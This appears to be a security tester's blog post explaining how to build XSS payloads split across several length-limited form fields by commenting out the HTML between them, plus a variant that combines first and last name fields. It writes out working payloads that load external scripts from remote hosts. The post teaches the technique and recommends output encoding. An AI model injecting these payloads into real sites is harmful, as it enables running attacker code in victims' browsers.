I’m currently working on a test (actually it was back in November, but I started writing this then got distracted) and have found an edit form which has 8 input fields, none of which do any output encoding and no input validation or filtering. This would normally be perfect for XSS attacks however there is a limitation, the site caps all fields at 20 characters. There may me some experts out there who can squeeze a working attack in to 20 characters, but I can’t , so I demonstrated HTML injection by injecting a simple bold tag:
Obviously I can’t show this on the real site, so here it is in a lab I built to test it out. As you can see the input is displayed back without encoding but has been truncated to twenty characters.
I was going to flag it up to be fixed along with the other working XSS issues I found on the site, but then I decided to have a play.
As there were no limitations on the input characters I thought I’d see if I could get something working with an open script tag but no close tag, it shouldn’t work, but was worth a try. It didn’t work, but got me thinking, if I could open a tag in one input, why not close it in another? Then all I would need to do is to worry about all the stuff in the middle.
Now there are probably a few different ways to handle this, but the easiest one I could think of was to simply comment out the interfering HTML.
- We lose twelve characters from the first field to close the input tag and start the script tag and then start the comment, that leaves eight.
- In each field in the middle we lose four characters to closing the previous comment at the start and opening a new one at the end, giving sixteen for the payload.
- In the last field we use, we lose eleven characters to closing the last comment and then closing the script tag leaving nine.
12345678901234567890| "><script>12345678/*| */1234567890123456/*| */1234567890123456/*| */123456789</script>|
This gives a theoretical payload space of: 8 + (6 * 16) + 9 = 113 characters.
12345678901234567890| "><script>/* | */x=document/* | */.createElement(/* | */"script");x./* | */src="//dn.lc/s";/*| */document.head./* | */appendChild(x);/* | */</script> |
script element which uses the
srcattribute to load an external script file. This new element is then appended to the document. This is the equivalent of adding the following to the page.
I’m lucky to have a short domain name which I use as a URL shortner, but even with something longer, there are a few characters left to play with, so there is some wiggle room for those with longer domains.
As the injection breaks the way the page looks, by commenting out a big chunk of the HTML, the external script first rewrites the page back to how it should look, and then runs its malicious content, in this case, the always evil alert box.
Here is the setup and exploit in action.
12345678901234567890| "><script>/* | */$.getScript(/* | */"//digi.ninja/"+/*| */"split.js");/* | */</script>/* |
I’m sure there are other testers using this approach on a regular basis, but it isn’t something I’ve seen mentioned anywhere and it isn’t covered on any of the courses I’ve either taught or been on, and so I figured it was worth sharing. If you want to have a play, I’ve put a lab up with my vulnerable test page, Split XSS Lab, have fun.
Bonus – Combined XSS
This is another technique I used on the same test, this isn’t a new one for me and I have seen others use it, but I’ve not seen any real documentation for it so thought I’d include it here.
Rather than try to explain it, I’ll just talk through the way I used it in the test and hopefully that will be enough to get the idea across.
When registering for the site, I had to enter my first name and my surname in two separate fields, the site then used my full name in various areas, such as “Welcome back Robin Wood” on the main dashboard or giving me credit for doing work on the shared list of completed tasks.
Playing with the inputs I found that they had created a custom input validator which allowed all characters but would throw an exception if I entered a full HTML tag. For example,
abc<b was allowed, but
abc<b> was blocked.
When the combined name was displayed, there was no output encoding.
The attack is simple, I entered my first name as
abc<script src="//digi.ninja/script.js"(note the missing closing >) and my surname as
/>. When used by the site, it combined the two fields to give the following valid HTML tag which would bring in my external script and allow me to run whatever extra code I wanted.
abc<script src="//digi.ninja/script.js" />
The take away, neither field on their own could be used for anything malicious, but because the site helpfully combined the two together for me I was able to slip past the defences and get my code running.
I’ve included a section to test out this vulnerability in the Split XSS Lab.
Neither of these vulnerabilities would have worked if the site had been doing correct output encoding. By HTML encoding the strings before rendering them, there is no way I could have created my malicious HTML tags and so could not have got code execution.
Input validation and filtering has its place, and can help stop malicious content from getting into the site in the first place, but should never be relied upon on its own to defend a site, it should only be a part of a solid defensive layering.
 While I was writing this blog, @CVE-JACKSON-1337 posted this tweet with three XSS attacks that are all under 20 characters. The only problem, two of them would require you to have a 3 character domain name to fit within the constraints here, and one only has eight characters of payload space. Close, but not close enough for me.
 If you want another example of being able to break commands and functions down using comments, check out this blog and tool by Wireghoul where he shows how the same technique can be used with PHP.